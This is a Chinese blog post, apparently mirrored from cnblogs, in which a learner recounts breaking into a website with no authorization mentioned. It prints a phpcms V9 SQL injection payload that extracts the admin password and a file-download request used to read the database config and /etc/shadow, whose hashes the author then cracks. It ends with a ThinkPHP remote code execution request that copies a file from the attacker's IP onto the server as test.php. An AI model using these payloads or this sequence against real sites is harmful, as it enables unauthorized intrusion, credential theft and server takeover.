zoukankan      html  css  js  c++  java
  • 记一次期待已久的渗透 从phpcms到thinkphp

    0X01 前言 

    这是刚刚开始学习渗透的一个目标吧 这个站从刚开始学的那一天起,就想把他日下来。

    可能是自己的信息收集能力太差了吧,导致一直无从下手 没有进展。这是需要慢慢积累的过程。还需努力学习。

    0X02小白渗透

    在刚刚开始的时候,一顿乱扫 什么子域名 C段 旁站 端口 ip 服务 目录 指纹 waf都照着网上的方法做,但是你不知道你扫这些干嘛,扫下来又有什么意义呐?

    这是我对这些的理解 如有不足希望多多交流

    1旁站 
    旁站就是同一ip上面的不同的站 比如iis 下面有两个www.xxx.xom和www.xxx2.com
    这就互称为旁站 你拿下其中任意一个另外一个就是你的了 但是如果开了其他服务 那么就不能再80端口占用
    2C段
    假如你的ip是192.168.1.1那么192.168.1.1-254都属这个段内 这就是C段 ,一般很难入侵,思路有内网下面的各种未授权访问入侵
    3端口 
    看对应端口开放了那些服务 找漏洞 
    4指纹系统
    快速准确的识别网站语言,cms等等 不用你去尝试 浪费时间
    5waf识别 
    sqlmap的参数
    python2 sqlmap.py -u "https://www.example.com" --identify-waf --batch
    或者用Wafw00f 这个工具
    6目录
    敏感目录

    从刚开始学习渗透的时候思路  找注入点 注入登陆后台拿shell  当时也只会找id=1这些位置的地方的参数然后扔到sqlmap里面一顿乱扫

    当然 这个站是不可能有id=1这些这么粗俗的注入点的

    然后 就......找不到   然后robots里面看见了很多东西 但是也只看见一个admin.php 然后什么思路都没有  就这样 就放着放着 心想慢慢学吧 总会拿下的。

    0X03开始有点入门了

    指纹 知道了phpcms     Google 搜索一波phpcmsV9 getshell

    有一个前台直接getshell???

    http://ximcx.cn/post-126.html 这里西门老师讲的很清楚 

    但是我们的站不开放注册功能 没有前台用户 甚至这可能是一个自己改版的phpcms

    那么前台直接getshell无果后  还有一个注入

    第一步 得到用户认证cookie

    /index.php?m=wap&c=index&a=init&siteid=1

    第二步

    userid_flash=686dzK2pLsN_cv_pbJlCjvsm-ex_mCiOG90mXzt4 传给userid_flash
    并且构造你的sql语句
    /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27+and+updatexml(1%2cconcat(1%2c((select+password+from+v9_admin+limit+0%2c1)))%2c1)%23%26m%3d1%26f%3dhaha%26modelid%3d2%26catid%3d7%26
    

     这里要编码 然后得到返回穿参给第三步

    第三步

    /index.php?m=content&c=down&a_k= 

    发包 updataxml报错注入

    进行这个站点的测试两天了 
    框架PHPCMS V9
    1思路 注入点是root 写shell 知道路径 可以用union联合写  但是 遇到问题说 
     1、限制mysqld 不允许导入 | 导出
            --secure_file_prive=null
    2思路二 堆叠注入 在admin表里面加入我自己的用户 但是堆叠注入不可用
    3 8080开放WDCP弱密码爆破无果 爆破了一波目录 没有什么可用的价值
    4利用注入点 读取wdcp账户密码 但是 phpcmsv9这里用的是updataxml报错注入 
    SELECT * FROM `网站的v9数据库名`.`cd_download_data` WHERE `id` = '' and updatexml(1,concat(1,((select passwd from wd_member where table_schema=wdcpdb limit 0,1))),1)#' LIMIT 1
    MySQL Error : Table '网站的v9数据库名.wd_member' doesn't exist 
    这里报错只能在网站库里面查询 我思路少 求指教 也无果
    5希望师傅们多多交流 ,小白我太难了

    这是我当时在T00ls的求助 这里面都是我所遇到的问题 所以从注入点上手也得放弃

    思路三 phpcmsV9.2任意文件下载 虽然没开外连 但是心想 我把他数据库密码 和ssh密码读取出来 xshell直连 或者拿这些密码去碰撞一下后台的密码也是行的啊

    这里遇到问题了  由于服务器是kali不是windows 但是这个cms过滤了php的文件下载 我们构造文件名需要让liuxn解析成php这里我的构造方法

    phpcms过滤*和/ 我们再本机上面测试 1.php空格 1.php*都可以被当成我们的1.php解析 但是这里我构造1.php*不知道为什么不行 试了好久1.php空格才行的

    http://www.ccc.com/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=.%2*fcaches%2*fconfigs%2*fdatabase.php%2*520%2526modelid%3d1%2526d%3d1%26aid%3d1
    index.php?m=content&c=down&a=init&a_k=

     第一个下载的文件 当然是数据库配置文件 查看密码 然后弱口令撞密码

    第二个读取的是/etc/shadow/然后hash跑密码 但是无奈 跑出来了 但是22端口不对外开放 。。。

    看网上说auth_key好像有点用 于是尝试行的读取一下  结果就是这个尝试  转变就到来了 读出了一个旁站!!!!!!!!!!!!!!!!!!!

    都懂了吧 这个用其他旁站扫描工具扫描的时候 没扫出来

     

     然后TK远程代码执行  这里也是试了很久 ban了很多函数 只能执行phpinfo最后直接用简单粗暴的方法

    http://xxxx/?s=captcha&Fuck=copy("http://你的ip/50.txt","test.php")
    _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck

    最后 终于 终于

    学习之路 少就是多 慢就是快

  • 相关阅读:
    Windows下安装并设置Redis
    OpenGL纹理上下颠倒翻转的三种解决办法
    如何计算android设备的屏幕物理尺寸
    VS2010中使用QtOpenGL出现 unresolved external symbol __imp__glClear@4 referenced in function之类的错误
    VC运行库版本不同导致链接.LIB静态库时发生重复定义问题的一个案例分析和总结
    7月份文章回顾
    NSIS脚本根据操作系统版本动态决定默认安装目录
    WinDriver的一些
    〔池化纲领〕也及链表
    多道程序设计〕协程构造
  • 原文地址:https://www.cnblogs.com/-zhong/p/11201064.html
Copyright © 2011-2022 走看看